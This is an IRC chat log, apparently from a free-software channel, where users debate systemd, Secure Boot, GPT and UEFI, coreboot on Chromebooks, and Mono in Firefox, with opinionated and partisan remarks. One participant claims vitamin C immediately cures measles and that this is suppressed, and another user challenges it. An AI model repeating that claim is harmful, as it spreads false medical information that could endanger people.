XRevan86it does work, I meanMar 14 22:37
MinceRand you can tell just by looking at runscripts that they won't. interesting.Mar 14 22:37
MinceRit's the usual routine of people telling me that systemd is absolutely necessary for certain things to work, while they work just fine on the computers i'm using without systemd.Mar 14 22:38
XRevan86MinceR: Yes, because they have a way to start anything at all.Mar 14 22:38
XRevan86do anythingMar 14 22:38
MinceRooh, that must be magic.Mar 14 22:38
XRevan86systemd has some limitationsMar 14 22:38
XRevan86and Type=Mar 14 22:38
XRevan86MinceR: no magickMar 14 22:38
MinceRsurely not the Almighty Systemd?Mar 14 22:39
XRevan86"Type=simple" which is the default means that ExecStart starts something undaemonizedMar 14 22:39
XRevan86and so systemd looks for it and its childrenMar 14 22:39
XRevan86and kills it with systemctl stop fooMar 14 22:40
XRevan86in anything more is required, there is ExecStopMar 14 22:40
XRevan86and restart == stop & startMar 14 22:40
XRevan86and so autorestart can also be implemented since systemd knows when a process is killedMar 14 22:41
XRevan86MinceR: With plain scripts you simply have to define stop() behavior, overwise there is none. And so I see runit doesn't have it.Mar 14 22:41
MinceRafaik most of these service managers assume by default that the service doesn't fork, as it shouldn'tMar 14 22:43
MinceRsome of them include tools to work around those who insist on forkingMar 14 22:43
XRevan86MinceR: Yeah, systemd does that.Mar 14 22:44
XRevan86Type=forkingMar 14 22:44
MinceRit's a pity systemd still doesn't do the one thing pid1 should properlyMar 14 22:44
MinceRthat is, reaping zombiesMar 14 22:44
XRevan86MinceR: It does that.Mar 14 22:44
MinceRno, it does not.Mar 14 22:44
XRevan86overwise there would be a lot of zombies everywhereMar 14 22:44
MinceRi've seen reports of hundreds of zombies on systemd machines.Mar 14 22:45
XRevan86MinceR: I've seen something like that once.Mar 14 22:45
MinceRhttps://bugs.freedesktop.org/show_bug.cgi?id=41625Mar 14 22:45
XRevan86Don't remember the cause.Mar 14 22:45
-TechrightsBot-tr/#techrights-bugs.freedesktop.org | Bug 41625 – systemd apparently doesn't reap zombies [ http://ur1.ca/jwt51 ]Mar 14 22:45
MinceRit's cute how they believe it's not their bugMar 14 22:45
MinceRi wonder which process is supposed to reap zombies in their opinionMar 14 22:46
XRevan86systemd was kinda disfunctional back thenMar 14 22:46
XRevan86I don't remember what exactly I didMar 14 22:46
XRevan86to make it stop working, I meanMar 14 22:46
MinceRyet they were forcing it everywhereMar 14 22:46
MinceRand it's still dysfunctionalMar 14 22:47
MinceRand they've managed to force it on most distrosMar 14 22:47
XRevan86MinceR: I meant disfunctional zombie killing.Mar 14 22:47
XRevan86which I had onceMar 14 22:47
XRevan86maybe I'll remember tomorrowMar 14 22:48
MinceReven the one-liner init does it properlyMar 14 22:48
MinceRhow difficult can it be?Mar 14 22:48
XRevan86> yet they were forcing it everywhereMar 14 22:48
XRevan86They don't do marketing you know.Mar 14 22:48
MinceRi doubt thatMar 14 22:49
MinceRhere's a systemd apologist doing marketing for them right now :>Mar 14 22:49
XRevan86MinceR: They didn't ask %).Mar 14 22:49
XRevan86MinceR: Also I didn't start this <:Mar 14 22:50
MinceRapparently i didMar 14 22:51
MinceRapparently i went and held the debian TC at gunpoint to force them to turn debian into lendowsMar 14 22:51
XRevan86MinceR: In the same way I can call you a Microsoft spy who destablize the GNU/Linux platform by making the component adopted by so many good distros look bad :-P.Mar 14 22:52
MinceRit's not the GNU/Linux platform anymore, it's the systemd/Linux platformMar 14 22:55
MinceRand red hat and the systemd cult is destabilizing GNU/LinuxMar 14 22:55
XRevan86GPL/Linux then maybe?Mar 14 22:55
MinceRno, systemd is LGPL-edMar 14 22:57
XRevan86MinceR: Cult? systemd devs didn't accept KDE guys into a cult organization as far as I know.Mar 14 22:58
XRevan86They also didn't kill ConsoleKit.Mar 14 22:58
MinceRalso, its dbus APIs open the door for proprietary blob implementationsMar 14 22:58
MinceRwell, they abandoned ConsoleKitMar 14 22:58
MinceRafaik some Devuan developer is adopting itMar 14 22:58
XRevan86They've made an API that was nessesary in a way they develop things.Mar 14 22:58
MinceRyeah, because commands are impossible to execute nowMar 14 22:59
XRevan86logind is a needed thing, I mean.Mar 14 22:59
MinceRand conveniently with kdbus they'll make those APIs impossible to implement on any other kernel, including HURDMar 14 22:59
MinceRnot by me, certainly.Mar 14 22:59
XRevan86and so think GNOME and KDE developersMar 14 23:00
MinceRand the FSF just stands by and cheers them on as they destroy HURD.Mar 14 23:00
XRevan86Since there is now a thing called LoginKit, it's not such Evil anyway.Mar 14 23:00
MinceRno thanks to the cancerd cultMar 14 23:00
XRevan86still apparently LoginKit has the same issues as ConsoleKit as is a layer above itMar 14 23:01
XRevan86so can't really be an example of "we don't need systemd devs to make GNU/Linux evolve"Mar 14 23:02
MinceRgood thing systemd is here to save usMar 14 23:02
XRevan86Okay, now I sound like a fanatic.Mar 14 23:02
MinceRthat's because you are.Mar 14 23:02
MinceRhttp://without-systemd.org/wiki/index.php/Arguments_against_systemdMar 14 23:04
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XRevan86MinceR: I just don't like some kind of statements.Mar 14 23:34
MinceRi don't like the bad design and code poettering, red hat and gnome people are pushing and i don't like the brutally aggressive way they're doing so.Mar 14 23:35
XRevan86MinceR: Can you believe I am told to be a Ukranian Maidan supporter and an anti-Ukrainian independence soviet communist?Mar 14 23:35
MinceRi also don't like that clueless windows users are taking over free software and free unix-like operating systemsMar 14 23:36
MinceRclueless apple users tooMar 14 23:36
MinceRXRevan86: by the same person?Mar 14 23:37
XRevan86MinceR: No, by persons who have the opposite to these viewsMar 14 23:37
MinceRthey seem to be more or less the opposite of each otherMar 14 23:37
XRevan86different sides of the barricade hate me equallyMar 14 23:38
XRevan86> code poetteringMar 14 23:40
XRevan86http://cgit.freedesktop.org/systemd/systemd/log/Mar 14 23:40
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XRevan86> and i don't like the brutally aggressive way they're doing soMar 14 23:42
XRevan86GNOME guys are the different story.Mar 14 23:42
XRevan86the do things in a way "do to hell, we do innovations in our own Apple^W GNOME way"Mar 14 23:42
XRevan86go to*Mar 14 23:42
MinceRand they've infiltrated the management of debian and they're pushing their agenda there as wellMar 14 23:43
XRevan86I don't think shit like Gtk3 in a general Red Hat policy.Mar 14 23:43
MinceRafaik gnome is mainly backed by red hatMar 14 23:44
MinceRand unfortunately gtk is managed by gnome peopleMar 14 23:44
XRevan86MinceR: It's backed by them, yeah. It doesn't mean Red Hat influence GNOME.Mar 14 23:44
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MinceRfollow the money.Mar 14 23:45
XRevan86Gtk3 is a true downer of desktop GNU/Linux.Mar 14 23:45
XRevan86making life harder in $PLACE_NOT_GNOMEMar 14 23:46
XRevan86_AND_UNITYMar 14 23:46
XRevan86True though that Gtk3 is easier for developers than Gtk2, but from users perception there is only one advantage: native Wayland support.Mar 14 23:48
MinceRand in accordance with wayland, gtk3 supports client-side decorationsMar 14 23:49
MinceRanother idiotic thing from windows.Mar 14 23:49
MinceRand most wayland implementations only support client-side decorationsMar 14 23:50
XRevan86MinceR: From what I see, Wayland doesn't have a problem with window decorations.Mar 14 23:50
MinceRit doesn't have a problem with them, as long as the client draws and manages themMar 14 23:50
MinceRfinally if an application freezes, you can have unmanageable windowsMar 14 23:50
XRevan86MinceR: Weston does draw somethingMar 14 23:50
MinceRthough at least you can probably do something to them via a panelMar 14 23:51
MinceRfinally they can have all the bugs they liked in windows.Mar 14 23:51
XRevan86http://i1-linux.softpedia-static.com/screenshots/Wayland_1.pngMar 14 23:51
MinceRwhat terminal application is that?Mar 14 23:51
XRevan86MinceR: Looks like wltermMar 14 23:52
XRevan86or how does the default thingy calledMar 14 23:53
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XRevan86Good night.Mar 14 23:55
XRevan86MinceR: I'll try tomorrow to start something native on Weston to see if there are decorations.Mar 14 23:55
XRevan86unless I'll forget to do so %)Mar 14 23:55
MinceRafaik the wayland implementation gnome uses is mutter, thoughMar 14 23:56
MinceRgn XRevan86 Mar 14 23:56
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msb_Then I switched to some local (Si Valley) ISP whose name I forget at the moment that was cheaper.  They gave us all of 10MB space in our accounts.  wowie.Mar 08 06:31
msb_It was Netcom.Mar 08 06:31
msb_I helped them in a war against Scientology!Mar 08 06:31
cubexyzthe one thing that bothers me about computers is there was never a computer that came with full source codeMar 08 06:31
cubexyzmaybe the PDP-11, but I don't really knowMar 08 06:31
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msb_well, then you'd put in a socketMar 08 06:46
cubexyzzif socket yes :)Mar 08 06:49
cubexyzI glued push pins on mineMar 08 06:49
msb_Well,, a mobo costs $200 or less, so if it gets fucked up its not the end of the world.Mar 08 06:49
cubexyzbut it was already socketed, the push pins just help get the chip off the boardMar 08 06:49
msb_Interesting!Mar 08 06:49
msb_zif is idealMar 08 06:49
cubexyzyes, zif would have been betterMar 08 06:49
msb_We will figure out how to do this and then we will have Freedom!Mar 08 06:49
cubexyzmy Plan 9 computer has coreboot :)Mar 08 06:49
msb_And we'll tell everyone else in the World about it!Mar 08 06:49
msb_Bravo!Mar 08 06:49
cubexyzthe hackers have already cracked secure boot actuallyMar 08 06:49
cubexyzI figured they wouldMar 08 06:49
msb_Great!Mar 08 06:50
msb_They always do!Mar 08 06:56
cubexyzthe tide has turned I think.... you can buy chromebooks in lots of stores, and also chromeboxesMar 08 06:56
cubexyzI think the chromeboxes have coreboot as wellMar 08 06:56
msb_Cool!Mar 08 06:56
msb_http://www.imdb.com/title/tt0218817/combinedMar 08 06:56
-TechrightsBot-tr/#techrights-www.imdb.com | Antitrust (2001) [ http://ur1.ca/jvb0z ]Mar 08 06:56
msb_You've seen that movie?Mar 08 06:56
cubexyzno, I haven't watched it as yetMar 08 06:56
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MinceRhttp://i.imgur.com/VennegN.jpgMar 08 10:18
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msb_I call the car Hiroshima's Revenge.Mar 08 14:10
msb_The hood is under an overhang in the carport and can't be raised.Mar 08 14:11
MinceRlolMar 08 14:11
msb_At least it has a powerful engine and a lot of cargo space -- SUV.Mar 08 14:11
msb_And 4 wheel drive.Mar 08 14:16
msb_The engine will skid the tires if you apply too much power.Mar 08 14:16
msb_The steering is tight - very little play.Mar 08 14:16
MinceRdoesn't sound like a bad carMar 08 14:16
msb_except for the low mileage, and now this shifter problemMar 08 14:16
MinceRSUVs tend to have low mileageMar 08 14:16
MinceRand the current problem sounds like it's parked in the wrong placeMar 08 14:16
msb_sure, but only 58% of advertised value?Mar 08 14:16
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MinceRas it turns out, the text basically means the celebration of the 15th of marchMar 08 14:43
msb_Thanks! I was about to spend a couple of hours getting an OCR program running.Mar 08 14:43
msb_I think "Prize Pigs" would be a pretty good caption.Mar 08 14:43
MinceRi just typed in the romanized version of the first word in google translate and have it transliterate it to russian cyrillic :>Mar 08 14:43
MinceRlolMar 08 14:43
MinceR(i was too lazy to bring up a phonetic russian keyboard layout)Mar 08 14:43
msb_Sometimes google-translate doesn't work very well.Mar 08 14:43
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msb_Vitamin C immediately remedies viral "plagues" like the now-dreaded measles.  Mar 09 00:49
msb_But that knowledge has been suppressed by the rulers.Mar 09 00:49
MinceRyes, ukraine is being annexed by putler's nazisMar 09 00:50
msb_MinceR: you are living about 60 years ago.Mar 09 00:50
MinceRmsb_: no, your favorite dictator isMar 09 00:50
MinceRmsb_: do you have reproduced, peer-reviewed studies regarding vaccines and vitamin c or just timecube-like ramblings?Mar 09 00:50
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*[freenode-info] help freenode weed out clonebots -- please register your IRC nick and auto-identify: http://freenode.net/faq.shtml#nicksetupMar 09 05:57
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msb_http://hf.dilbert.com/strip/2015-03-01Mar 09 09:44
-TechrightsBot-tr/#techrights-hf.dilbert.com | Dilbert Comic Strip on 2015-03-01 | Dilbert by Scott AdamsMar 09 09:44
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cubexyzhttp://cubexyz.blogspot.ca/2015/03/easy-way-to-get-coreboot.html Mar 10 01:42
-TechrightsBot-tr/#techrights-cubexyz.blogspot.ca | Notes on Linux: Easy Way to Get Coreboot [ http://ur1.ca/jvpo5 ]Mar 10 01:42
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cubexyz11/40 actually came later than the 11/45, starts out with core memory and later on gets MOS memoryMar 10 06:42
cubexyzthat seems to say that it's one or the other, but not bothMar 10 06:42
msb_That is not dead which can eternal lie, And with strange aeons even death may die. -- HP LovecraftMar 10 06:42
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MinceRhttp://i.4cdn.org/g/1426007608645.jpgMar 10 18:30
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Sosumia simple band with sensors would be much more effectiveMar 10 18:53
MinceRi'd rather have a HUD on my glassesMar 10 18:54
Sosumiwell, and maybe that band could include a vibrator for notificationsMar 10 18:54
Sosumibut that is itMar 10 18:54
Sosumiyes augmented reality would be awesomeMar 10 18:59
Sosumibut seriously, the iwatch is and seems like plain junkMar 10 18:59
Sosumimy casio watch seems much more functionalMar 10 18:59
Sosumiplus, it recharges with sunlight and is made out titaniumMar 10 18:59
MinceRand the battery lasts longer than 18 hours :>Mar 10 18:59
Sosumithe battery lasts 3 monthsMar 10 18:59
Sosumidepending on usageMar 10 18:59
MinceRunfortunately, my wrist doesn't tolerate straps wellMar 10 19:00
MinceRso i stopped wearing a watch ages agoMar 10 19:00
Sosumihttp://www.skywatches.com.sg/reviews/media/catalog/product/cache/1/image/040ec09b1e35df139433887a97daa66f/p/r/prg-130t-7v_1.jpgMar 10 19:00
Sosumiit's that oneMar 10 19:00
Sosumiwell I use a wrist watch mostly because I don't always carry a cell phone on meMar 10 19:00
Sosumiand ofc, they don't allow you to use the cell phone for time keeping during testsMar 10 19:00
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MinceRaren't they dead already?Mar 10 19:11
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Sosumihttps://www.schneier.com/blog/archives/2015/03/can_the_nsa_bre_1.htmlMar 10 19:50
-TechrightsBot-tr/#techrights-www.schneier.com | Schneier on Security: Can the NSA Break Microsoft's BitLocker? [ http://ur1.ca/jvw0i ]Mar 10 19:50
MinceRdoes the nsa need to do so?Mar 10 19:54
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MinceRhttp://www.euractiv.com/sections/global-europe/romanian-spy-chief-warns-threat-eu-hungary-312302Mar 10 23:57
-TechrightsBot-tr/#techrights-www.euractiv.com | Romanian spy chief warns of ‘threat for EU from Hungary’ | EurActiv [ http://ur1.ca/jvxj1 ]Mar 10 23:57
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roy_back...Mar 11 11:01
msb_roy_: Hi!Mar 11 11:03
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msb_cubexyz: Is it impossible to run MSWindows on the Chrome*, so MS can't claim that's what people are buying them for?Mar 11 11:03
roy_I think it's possibleMar 11 11:05
roy_or becoming possibleMar 11 11:05
roy_as of lateMar 11 11:05
cubexyzyou can't run M$ Windows on Lemote eitherMar 11 11:05
msb_ick!Mar 11 11:05
roy_not that people would want to pay the price of ha;f a chromebook to run a more crappy OS (than ChromeOS)Mar 11 11:05
cubexyzbut chromeboxes are a different storyMar 11 11:05
msb_I'm for software freedom, but I'm glad to see computers that can't run MS-Windows!Mar 11 11:07
cubexyzchromebook/box is still x86Mar 11 11:08
cubexyzLemote is mipsMar 11 11:08
msb_AhMar 11 11:09
cubexyzbut the big thing is that you have a FOSS bios, not a proprietary oneMar 11 11:09
MinceReven on a Lemote, you could run winblows with qemu :>Mar 11 11:09
cubexyzcould you run windows 8 under qemu?Mar 11 11:11
MinceRi've never triedMar 11 11:11
MinceRare there any new tricks to prevent it?Mar 11 11:11
cubexyzugh, it's horrible to even think about :)Mar 11 11:11
cubexyzsure, secureboot for one Mar 11 11:11
msb_CoreBoot should have a default setting that if you try to run Windows on it it just makes a rude noise.Mar 11 11:11
MinceR:DMar 11 11:12
MinceRdoes vista8 complain if you boot it with BIOS?Mar 11 11:12
roy_not secure for the monopolyMar 11 11:12
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XRevan86MinceR: no…Mar 11 11:13
cubexyzGoogle did something smart, they teamed up with the coreboot folksMar 11 11:13
XRevan86Vista8 does not care whether it's booted via UEFI, UEFI+SecureBoot or BIOS MBRMar 11 11:13
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XRevan86It did notify user while booting without SecureBoot with UEFI but stopped.Mar 11 11:15
XRevan86with some updateMar 11 11:15
XRevan86http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2013/11/windows81_secureboot_watermark.jpgMar 11 11:16
cubexyzI'm told that you can't disable secure boot on ARMMar 11 11:18
XRevan86cubexyz: Indeed.Mar 11 11:19
cubexyzand it's actually pretty hard to buy a LemoteMar 11 11:19
XRevan86On practice it means it is impossible to run other OS on Surface non-Pro and their crappy smartphones.Mar 11 11:20
MinceRgood thing their hardware sucks, then :>Mar 11 11:22
XRevan86I wonder what stops from running Шindows on x86 ChromebooksMar 11 11:23
XRevan86there are implementations of UEFI for corebootMar 11 11:24
XRevan86Still, it is possible that coreboot is not that flexible but I just don't have the knowledge.Mar 11 11:24
cubexyzthere's nothing about coreboot that precludes using windowsMar 11 11:24
cubexyzso windows on chromebooks is probably possibleMar 11 11:25
XRevan86cubexyz: There is no "compatible with Vista 8.1" label on it!Mar 11 11:26
XRevan86I guess this is it.Mar 11 11:26
cubexyzha, well drives could be a problemMar 11 11:26
cubexyzdriversMar 11 11:26
cubexyznot sure about it... but coreboot by itself doesn't make it impossibleMar 11 11:26
XRevan86I think complectation is quite standardMar 11 11:26
XRevan86on x86 chromebooksMar 11 11:26
XRevan86ARM editions is another story of course.Mar 11 11:27
cubexyzit seems like a silly thing to do thoughMar 11 11:27
XRevan86cubexyz: There are people who buy macbooks and then^W^WMar 11 11:27
XRevan86"Silly thing to do" was never a problem :DMar 11 11:28
msb_XRevan86: "complectation" ?Mar 11 11:28
XRevan86msb_: stuff insideMar 11 11:28
XRevan86motherboard, processor, network cards, etc.Mar 11 11:29
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msb_thanksMar 11 11:30
msb_Is it impossible to run an arbitrary OS on ARM without the OS being commercially registered?Mar 11 11:30
XRevan86msb_: No, it is possible but…Mar 11 11:31
XRevan86ARM's are not that standardizedMar 11 11:31
XRevan86Driver problems on ARM's happen even on Linux.Mar 11 11:31
msb_XRevan86: But secure boot doesn't prevent loading it?Mar 11 11:33
XRevan86msb_: I thought you are talking about Chromebooks.Mar 11 11:34
cubexyza lot of ARM stuff predates secure boot, so of course that would work fineMar 11 11:34
cubexyze.g. zaurus can run BSDMar 11 11:34
XRevan86SecureBoot and UEFI on ARM is a Microsoft-only thing.Mar 11 11:34
XRevan86Шindows Mobile/Phone, Microsoft Surface, etc.Mar 11 11:34
XRevan86(Шindows Phone 10 is going to be Шindows Mobile 10 again)Mar 11 11:35
cubexyzARM Holdings licenses the chip designs to third partiesMar 11 11:37
cubexyzARMv4 was strongARM and used in the Sharp ZaurusMar 11 11:38
cubexyzI think it's up to ARMv8 nowMar 11 11:38
msb_I thought UEFI prevented any OS from booting that wasn't registered by MS.  So it was a MS weapon against Linux.Mar 11 11:40
cubexyzok, Microsoft Surface uses ARMv7 cpusMar 11 11:40
cubexyzbut there's a bunch of other ones as wellMar 11 11:41
cubexyznot sure if ARMv8 is even out yetMar 11 11:41
cubexyzthe point of UEFI wasn't really to lock out Linux, it was to replace BIOSMar 11 11:42
msb_This is all too confusing.  I'm gonna find my old 8088 PC and watch movies in ASCII.Mar 11 11:42
cubexyzBIOS has the real mode limitations...Mar 11 11:42
cubexyz1 megabyte window for memoryMar 11 11:43
cubexyzUEFI is needed to boot from big hard drives, like > 2 terabytesMar 11 11:44
cubexyzBIOS was designed for a IBM 5150 :)Mar 11 11:44
cubexyzbut UEFI has a lot of Microsoft influenceMar 11 11:45
cubexyzpeople are right to be worried about itMar 11 11:45
XRevan86I see a lot of messing up with terms GPT, UEFI and SecureBoot :)Mar 11 11:46
XRevan86> UEFI is needed to boot from big hard drives, like > 2 terabytesMar 11 11:46
XRevan86GPTMar 11 11:46
XRevan86> I thought UEFI prevented any OS from booting that wasn't registered by MSMar 11 11:46
XRevan86SecureBootMar 11 11:46
XRevan86Also SecureBoot is disableable on every x86 PC which is known to man.Mar 11 11:47
msb_But I could hack the IBMPC bios by putting in interrupt traps.  Life was good!Mar 11 11:47
cubexyzGUID is part of UEFIMar 11 11:48
XRevan86cubexyz: GPT is just a partition table. You can use it without UEFI.Mar 11 11:48
XRevan86GRUB can work with GPT on MBR BIOS.Mar 11 11:49
msb_I thought Linux ignored the bios once it got going.Mar 11 11:49
msb_So there would not be disk size limitations.Mar 11 11:50
XRevan86The only disadvantage of using GPT on MBR BIOS is unsupportance by… Шindows.Mar 11 11:50
XRevan86So I did use GPT on MBR BIOS since I don't use this OS :).Mar 11 11:50
msb_What do I need to run 3 or 4TB WD drives with Linux?Mar 11 11:51
XRevan86https://wiki.archlinux.org/index.php/GUID_Partition_Table#BIOS_systemsMar 11 11:51
-TechrightsBot-tr/#techrights-SSL connect error ( status 0 @ https://wiki.archlinux.org/index.php/GUID_Partition_Table#BIOS_systems )Mar 11 11:51
msb_These may be a "sweet spot" now.Mar 11 11:51
cubexyzI think the 2 terabyte limit is a MBR limitMar 11 11:52
cubexyz2^32 * 512 bytesMar 11 11:53
XRevan86The only thing GRUB requires on such configuration is a 2 MiB partition marked as bios-grub (parted terminology)Mar 11 11:53
cubexyzthere's probably a way around it Mar 11 11:54
XRevan86cubexyz: GPTMar 11 11:54
XRevan86I just said how easy it is to use GPT on non-UEFI BIOS :).Mar 11 11:54
XRevan86thanks to GRUBMar 11 11:54
cubexyzthe boot loader and the OS must be GPT compatibleMar 11 11:55
XRevan86cubexyz: GRUB and LinuxMar 11 11:55
XRevan86Windows Loader and Windows won't work, yes.Mar 11 11:55
cubexyzso is GPT larger than MBR I assume?Mar 11 11:56
XRevan86Windows refuses to work with GPT without UEFI.Mar 11 11:56
MinceRthe design of uefi is full of microsoft garbageMar 11 11:56
MinceRPE, FATMar 11 11:56
MinceRalso, don't let the fact that they let you disable Restricted Boot for now fool youMar 11 11:56
XRevan86cubexyz: https://upload.wikimedia.org/wikipedia/commons/b/bb/GNU_GRUB_on_GPT_partitioned_hard_disk_drives.svgMar 11 11:56
XRevan86MinceR: Yeah, this might stop after Windows 7 loosing popularity enough.Mar 11 11:57
MinceRthe only reason their logo requirements don't include mandatory non-disableable Restricted Boot is that they had PR backlash for itMar 11 11:57
cubexyzoh, the GPT is separate from MBRMar 11 11:58
schestowitzMinceR: LOL at http://i.imgur.com/1HrVduw.jpgMar 11 11:58
XRevan86cubexyz: A totally different partiiton table.Mar 11 11:58
schestowitzhe comes in many formsMar 11 11:58
cubexyzand the size depends on sector sizeMar 11 11:58
msb_XRevan86: Thanks for the references!Mar 11 11:58
cubexyzthere's also LILO to considerMar 11 12:00
cubexyzalthough I assume they'll update that as wellMar 11 12:00
XRevan86God does not exist because SecureBoot and god can't exist in the same world %).Mar 11 12:01
schestowitzhttps://twitter.com/1MalachiD/status/575627332993425408Mar 11 12:01
-TechrightsBot-tr/#techrights-@1MalachiD: @schestowitz That may have been justified then. Certainly not convinced of it now.Mar 11 12:01
XRevan86schestowitz: What movie are you telling about?Mar 11 12:03
XRevan86https://en.wikipedia.org/wiki/The_Equalizer_%28film%29 Found itMar 11 12:04
-TechrightsBot-tr/#techrights-en.wikipedia.org | The Equalizer (film) - Wikipedia, the free encyclopedia [ http://ur1.ca/jw10p ]Mar 11 12:04
XRevan86> Russian mafiaMar 11 12:04
XRevan86oh myMar 11 12:04
cubexyzfirst generation chromebooks used H2C which is UEFI basedMar 11 12:12
cubexyz2nd generation chromebooks use corebootMar 11 12:13
XRevan86cubexyz: Modified InsydeH2O?Mar 11 12:13
cubexyzyeah I think that's been doneMar 11 12:14
cubexyzbut I have the coreboot folks to help me if I try anythingMar 11 12:15
XRevan86https://wiki.archlinux.org/index.php/Chromebook#Hardware_ComparisonsMar 11 12:15
-TechrightsBot-tr/#techrights-SSL connect error ( status 0 @ https://wiki.archlinux.org/index.php/Chromebook#Hardware_Comparisons )Mar 11 12:15
XRevan86> Custom firmware not available yetMar 11 12:16
cubexyzdo you use coreboot XRevan86?Mar 11 12:16
XRevan86darn it, I knew it's all device specific!Mar 11 12:16
XRevan86cubexyz: No, InsydeH2OMar 11 12:16
XRevan86Acer laptop, not a Chromebook.Mar 11 12:16
cubexyzoh I seeMar 11 12:16
cubexyzdo you get source code for that or...?Mar 11 12:16
XRevan86cubexyz: I don't really have an option.Mar 11 12:17
XRevan86either InsydeH2O, old Phoenix or tough experiments with porting coreboot to my laptop.Mar 11 12:18
cubexyzI think the chromeboxes are all similarMar 11 12:18
cubexyzASUS, HP, Acer and DellMar 11 12:19
XRevan86cubexyz: Didn't hear about them until today.Mar 11 12:20
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MinceRhttp://macleodsawyer.com/2015/03/06/nine-truths-computer-programmers-know-that-most-people-dont/Mar 11 13:00
-TechrightsBot-tr/#techrights-macleodsawyer.com | 9 truths that computer programmers know that most people don't. [ http://ur1.ca/jw1m0 ]Mar 11 13:00
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TweetTuxMachines@tuxmachines     T800 runs linux 4.1.15 https://t.co/BfAPV1c6joMar 11 13:10
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TweetTuxMachines........................................  http://ur1.ca/jw1nxMar 11 13:10
schestowitzMinceR: do you happen to have logs of the channels for times my connection was down? I think mostly over the weekendMar 11 13:10
XRevan86http://cdn.img42.com/6704a24d3988a047c3bf9868d40cf7a3.pngMar 11 13:10
XRevan86systemd-nspawn is a funny thing.Mar 11 13:10
MinceRschestowitz: i doMar 11 13:15
MinceRmy connection probably had some interruptions thoughMar 11 13:15
schestowitzexcellent, thanks :-)Mar 11 13:15
schestowitzhttps://twitter.com/alburr1to/status/574789993790619649  https://twitter.com/arebee/status/574785616543547394Mar 11 13:15
schestowitzGiven the whitewashing of Microsoft, Gates, and even trolls like Myhrvold, I think it's pretty evidenceMar 11 13:15
schestowitz*evidentMar 11 13:15
-TechrightsBot-tr/#techrights-@alburr1to: Here is how #Microsoft longtime mouthpiece Todd Bishop framed extortion against #linux http://t.co/aM9HGMM6mR (@schestowitz)Mar 11 13:15
-TechrightsBot-tr/#techrights--> www.geekwire.com | Microsoft sues Kyocera in new Android patent infringement dispute - GeekWireMar 11 13:15
-TechrightsBot-tr/#techrights-@arebee: @schestowitz wow, calling @toddbishop a Microsoft mouthpiece is a) a crappy ad hominem b) wrong. @jhambyMar 11 13:15
schestowitzhttps://twitter.com/jhamby/status/574782605318602752  https://twitter.com/jhamby/status/574782153382232064   https://twitter.com/jhamby/status/574781649340252160Mar 11 13:15
-TechrightsBot-tr/#techrights-@jhamby: There aren't any good workarounds for that patent that wouldn't break all third-party SMS using #Android apps. 😞 @schestowitz @toddbishopMar 11 13:15
-TechrightsBot-tr/#techrights-@jhamby: .@schestowitz @toddbishop I know $MSFT sued Motorola in Germany over their concatenated SMS API patent. US version: https://t.co/ziDOmGaKk8Mar 11 13:15
-TechrightsBot-tr/#techrights-@jhamby: .@schestowitz @toddbishop on the $MSFT patents: I think they're bullshit (should never have been granted) but also Android likely infringes.Mar 11 13:15
schestowitzhttps://twitter.com/FOSSpatents/status/574763389467103232Mar 11 13:16
-TechrightsBot-tr/#techrights-@FOSSpatents: @schestowitz A Dutch MEP links to TechRights in official question(s) to EU Commission: http://t.co/ATN5G9IN2m via http://t.co/714iDppyUPMar 11 13:16
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schestowitzhttps://twitter.com/BrendanEich/status/573337993664192512   https://twitter.com/BrendanEich/status/573400778309832704  https://twitter.com/BrendanEich/status/573406275029082112   https://twitter.com/BrendanEich/status/573406341643042816   https://twitter.com/BrendanEich/status/573408158565187584Mar 11 13:32
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz Confusion! There is no native-code Mono in Firefox integration. Just downloading the Unity 5 engine compiled to JS (asm.js).Mar 11 13:32
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz no, the WebGL/asm.js download is web content, http-cached. Zero install, no native code, no more encumbering than, e.g., gmail.Mar 11 13:32
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz There is no Mono on client or server. Unity 5 compiles out all .NET code at tool time: C# => C++ => asm.js. Pure web content.Mar 11 13:32
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz Please adjust your hair-trigger re: Unity and Mono accordingly ;-).Mar 11 13:32
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz The "WebGL" target is downloaded web content: HTML, JS (asm.js), images, CSS. Won't find Mono runtime there. All C# boils away.Mar 11 13:32
MinceRso, mono/c# code compiled to asm.js? :>Mar 11 13:33
schestowitzhttps://twitter.com/BrendanEich/status/573409249751121921   https://twitter.com/BrendanEich/status/573412067232907264   https://twitter.com/BrendanEich/status/573412628040704001   https://twitter.com/BrendanEich/status/573414112581054464   https://twitter.com/BrendanEich/status/573414243976011776  Mar 11 13:33
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz Firefox is just a browser, parses and runs/renders JS/WebGL/HTML/&c. There is no CLR in it, contrary to what you seemed to say.Mar 11 13:33
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz You wrote "#mozilla helps spread #microsoft #mono". I say that's false, full stop. Unity's spread does not depend on Mozilla.Mar 11 13:33
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz Unity == successful game engine, Mono or no. All browsers optimizing asm.js now, so no truth to "#mozilla helps spread <evil>".Mar 11 13:33
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz where <evil> clearly was "Mono installed on your PC"; pls. don't move goalpost to non-threat of Mono used more by Unity tools.Mar 11 13:33
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz Patent-encumbered tools used all the time to create web content (also to make RMS's laptop :-|).Mar 11 13:33
schestowitzhttps://twitter.com/BrendanEich/status/573417863190618112  https://twitter.com/BrendanEich/status/573422838872449024   https://twitter.com/BrendanEich/status/573427011689025537Mar 11 13:34
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz I would not attribute Unity dominance to 2015 WebGL target support. I also question Mono bad effects, even if indirect boost.Mar 11 13:34
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz I'm aware; still no boost via asm.js/WebGL. Personally I choose battles that matter more by all measures, e.g., DRM.Mar 11 13:34
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz Thank you; didn't work out there but I am still advising OTOY. Long game.Mar 11 13:34
MinceRi'm sure compiling to asm.js makes patent violations go awayMar 11 13:42
schestowitzyeah, my thoughts too...Mar 11 13:42
schestowitznon-argumentMar 11 13:42
schestowitzhttps://twitter.com/jblck/status/572881796137816066Mar 11 13:42
schestowitzhttps://twitter.com/ABridgwater/status/572720448296902656Mar 11 13:42
